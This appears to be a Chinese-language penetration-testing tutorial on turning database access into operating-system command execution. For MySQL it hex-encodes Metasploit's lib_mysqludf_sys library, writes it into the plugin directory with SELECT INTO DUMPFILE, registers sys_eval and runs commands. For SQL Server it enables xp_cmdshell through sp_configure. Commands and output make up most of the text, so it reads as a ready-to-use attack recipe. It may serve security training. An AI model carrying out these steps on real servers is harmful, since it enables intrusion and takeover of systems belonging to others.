首先我们需要有权写入文件,这样才能在其中编写UDF DLL库获取代码执行
UDF表示MYSQL中的用户定义函数, 就好像DLL中编译自己的函数并在MySQL中调用一样
首先安装mysql udf库的条件是有创建和查看、插入,以及要有mysql的func表,还要有插件文件夹的权限
这里测试用户:
grant insert,delete on *.* to test@"%" identified by "test";
flush privileges;
检查mysql的体系结构
mysql> select @@version_compile_os,@@version_compile_machine;
+----------------------+---------------------------+
| @@version_compile_os | @@version_compile_machine |
+----------------------+---------------------------+
| Linux | x86_64 |
+----------------------+---------------------------+
1 row in set (0.01 sec)
或者使用show variables like '%compile%';
UDF库都包含在plugin文件中,查看出路径
mysql> select @@plugin_dir;
+--------------------------+
| @@plugin_dir |
+--------------------------+
| /usr/lib64/mysql/plugin/ |
+--------------------------+
1 row in set (0.02 sec)
或者使用show variables like 'plugin%';
允许上传权限
这个路径要有在plugin下或者空
在/etc/my.conf或者/etc/my.cnf的[mysqld]下面添加secure_file_priv=''选项
#show global variables like '%secure%'; #查看
udf文件下载
#linux是so,windows是dll,再看什么系统位数下载
https://github.com/rapid7/metasploit-framework/tree/master/data/exploits/mysql
生成十六进制编码(本机生成)
service mysql start 启动mysql
select hex(load_file('/usr/share/metasploit-framework/data/exploits/mysql/lib_mysqludf_sys_64.so')) into dumpfile '/tmp/udf.hex';
Query OK, 1 row affected (0.157 sec)
gedit打开udf.b64文件,远程mysql服务
这一步其实是将so文件导入到插件夹里(如果能直接上传到这个文件夹就不用生成十六进制在写入)
这边需要plugin的权限大,能让其他用户组有写入的权限(且关闭selinux)
select 0x(UDF全部内容) into dumpfile '/usr/lib64/mysql/plugin/udf.so';
安装
create function sys_eval returns string soname 'udf.so';
执行成功
mysql> select sys_eval('whoami');
+--------------------+
| sys_eval('whoami') |
+--------------------+
| mysql |
+--------------------+
1 row in set (0.32 sec)
sqlserver命令执行
开启xp_cmdshell
1> sp_configure 'show advanced options',1
2> reconfigure
3> go
配置选项 'show advanced options' 已从 0 更改为 1。请运行 RECONFIGURE 语句进行安装。
1> sp_configure 'xp_cmdshell',1
2> reconfigure
3> go
配置选项 'xp_cmdshell' 已从 0 更改为 1。请运行 RECONFIGURE 语句进行安装。
使用xp_cmdshell 'whoami'
由于Linux不支持这个xp_cmdshell